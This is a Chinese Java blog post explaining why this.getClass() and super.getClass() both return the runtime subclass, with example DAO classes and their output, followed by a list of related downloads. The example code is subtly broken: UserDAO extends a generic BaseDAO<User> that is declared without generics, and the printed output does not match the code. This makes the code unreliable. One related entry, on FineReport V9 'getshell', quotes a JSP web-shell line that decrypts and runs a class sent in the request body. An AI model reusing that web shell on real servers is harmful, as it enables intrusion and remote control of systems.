`

java中this.getClass()和super.getClass()详解

    博客分类:
  • java
阅读更多

 

今日遇到this.getClass()和super.getClass()的返回值感到疑惑,经过探索豁然开朗。

 

getClass()是java中Object类的一个方法,其原型为:

 

         public final Class<?> getClass()

                   

                         返回值为 当前运行时类的Class对象。

 

所以写了一段代码来说明:

            getClass()不受this和super影响,而是有当前的运行类决定的。

 

代码如下:

父类:

package com.cyou.lijiang_hw;

import java.lang.reflect.ParameterizedType;

public class BaseDAO {
	public BaseDAO() {
		System.out.println("==============BaseDAO initialization=============");
		System.out.println("this.getClass() ---->" + this.getClass());
		System.out.println("super.getClass()---->" + super.getClass());	
	}
}

 子类:

package com.cyou.lijiang_hw;

public class UserDAO extends BaseDAO<User> {
	public UserDAO() {
		System.out.println("\n==============UserDAO initialization=============");
		System.out.println("this.getClass() ---->" + this.getClass());
		System.out.println("super.getClass()---->" + super.getClass());
	}
}

 测试类:

package com.cyou.lijiang_hw;

public class Test {
	public static void main(String[] args) {
		UserDAO userDAO = new UserDAO();
	}
}

 输出结果为:

==============BaseDAO<T> initialization=============
this.getClass() ---->class com.cyou.lijiang_hw.UserDAO
super.getClass()---->class com.cyou.lijiang_hw.UserDAO

==============UserDAO initialization=============
this.getClass() ---->class com.cyou.lijiang_hw.UserDAO
super.getClass()---->class com.cyou.lijiang_hw.UserDAO

 

分享到:
评论

相关推荐

    详解java中this.getClass()和super.getClass()的实例

    "Java 中 this.getClass() 和 super.getClass() 的实例" Java 中的 getClass() 方法是 Object 类的一个方法,其原型为 `public final Class&lt;?&gt; getClass()`, 返回值为当前运行时类的 Class 对象。这个方法可以用来...

    java面试宝典.docx

    ### Java面试宝典知识点梳理 #### 一、Thread.sleep()与Object.wait() 1. **Thread.sleep()** ...以上是针对给定文件的部分内容进行的详细解释与扩展,旨在帮助读者更好地理解和掌握这些重要的Java概念和技术点。

    Java软件开发实战 Java基础与案例开发详解 6-2 object类 共7页.pdf

    ### Java软件开发实战:Java基础与案例开发详解 #### 6-2 Object类 在Java编程语言中,`Object`类扮演着极其重要的角色。它位于`java.lang`包内,是所有Java类的直接或间接父类。这意味着每一个自定义的类(除非...

    java泛型详解

    ### Java泛型详解 #### 一、什么是泛型? 从JDK 1.5开始,Java引入了泛型这一特性,极大地增强了编程的灵活性和代码的重用性。泛型是一种参数化的类型,允许程序员在定义类、接口或方法时使用类型参数。这样做的...

    java_泛型类相关介绍.docjava_泛型类相关介绍.doc

    ### Java泛型类详解 #### 一、泛型概述 泛型是Java SE 1.5引入的一个新特性,它的核心思想是将数据类型作为参数传递。这种参数化类型的使用可以极大提高代码的安全性和可复用性。在泛型出现之前,Java中通常会使用...

    Java软件开发实战 Java基础与案例开发详解 6-0 继承和多态 共57页.pdf

    ### Java软件开发实战:Java基础与案例开发详解 —— 继承和多态 #### 6-0 继承和多态概览 本章节主要介绍了面向对象编程中非常重要的两个概念:继承和多态。继承是面向对象编程的一个核心特性,它允许创建一个新...

    最新java面试题总结

    - 一个`.java`源文件可以包含多个类,但最多只能有一个`public`类。如果存在`public`类,文件名必须与该类名一致。 5. **排序算法** - 插入排序:逐个插入元素,保持已排序部分有序。 - 交换排序:如冒泡排序和...

    南京工程学院 Java期末样卷

    【Java期末样卷详解】 这份南京工程学院的Java期末样卷主要涵盖了Java语言的基础知识,包括类的封装、继承、多态、抽象概念,接口,API的使用,异常处理,图形用户界面,线程的运行与状态,以及TCP Socket通信。...

    Java面试必问.pdfJava面试必问.pdfJava面试必问.pdf

    根据给定文件中的标题、描述、标签以及部分内容,我们可以总结并深入探讨以下几个关键知识点: ### 1....以上内容涵盖了Java面试中常见的核心知识点,有助于准备面试者全面了解这些概念和技术细节。

    Scala编程详解 第14讲-Scala编程详解:面向对象编程之继承 共13页.pptx

    Scala是一种强大的多范式编程语言,它在大数据领域中尤其受欢迎,因为它提供了高效的数据处理能力和对并发编程的良好支持。在Scala编程中,面向对象编程是一个核心概念,而继承是实现这一概念的关键机制。 继承允许...

    JAVA_高级特性(hashCode,clone,比较器,Class反射,序列化)

    ### Java 高级特性详解 #### 一、`hashCode` `hashCode` 方法是 `Object` 类中的一个方法,用于返回对象的哈希码值。在 Java 中,哈希码经常被用于实现散列表(如 `HashMap` 和 `HashSet`)。为了确保散列表的正确...

    java习题与实践(三)w.doc

    ### 知识点详解 #### 1. 编写具有重载特性的方法 `arrayMin()` **知识点:** - **方法重载(Overloading):** 在同一个类中可以有多个同名方法,但参数列表不同(参数个数或类型不同)。这允许我们根据不同的数据...

    java 2012面试题

    1. 一个".java"源文件中可以包含多个类,但只有一个公共类,且公共类的名称必须与文件名相匹配。如果不使用public修饰,则可以包含多个类,但这些类只能通过其他类的内部类等方式被外部访问。 2. Java语言中没有...

    java面试宝典

    在一个`.java`源文件中可以定义多个类,但有一个重要的限制:每个源文件只能有一个公共类(即被`public`修饰的类),并且该公共类的名字必须与源文件的名字相同。例如,如果源文件名为`MyClass.java`,则其中只能有...

    spring 启动时加载不同的文件

    InputStream inputStream = this.getClass().getClassLoader().getResourceAsStream("deploy.properties"); // 读取deploy.properties文件 try { prop.load(inputStream); String dataSource = prop....

    2011版java复习.doc

    - **问题**: 一个`.java`源文件中是否可以包括多个类(不是内部类)?有什么限制? - **解答**: - 可以包含多个类。 - 限制: - 源文件名必须与公共类(public class)的名称相同。 - 公共类只能有一个,其他类...

    帆软V9getshell1

    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %&gt; ``` 该代码实现了以下功能: ...

    Java面试宝典2018

    在一个".java"源文件中是否可以包括多个类(不是内部类)?有什么限制? 在一个`.java`源文件中可以包含多个类,但是有以下限制: - **公共类(public class)**:每个`.java`文件只能包含一个公共类,并且该文件...

Global site tag (gtag.js) - Google Analytics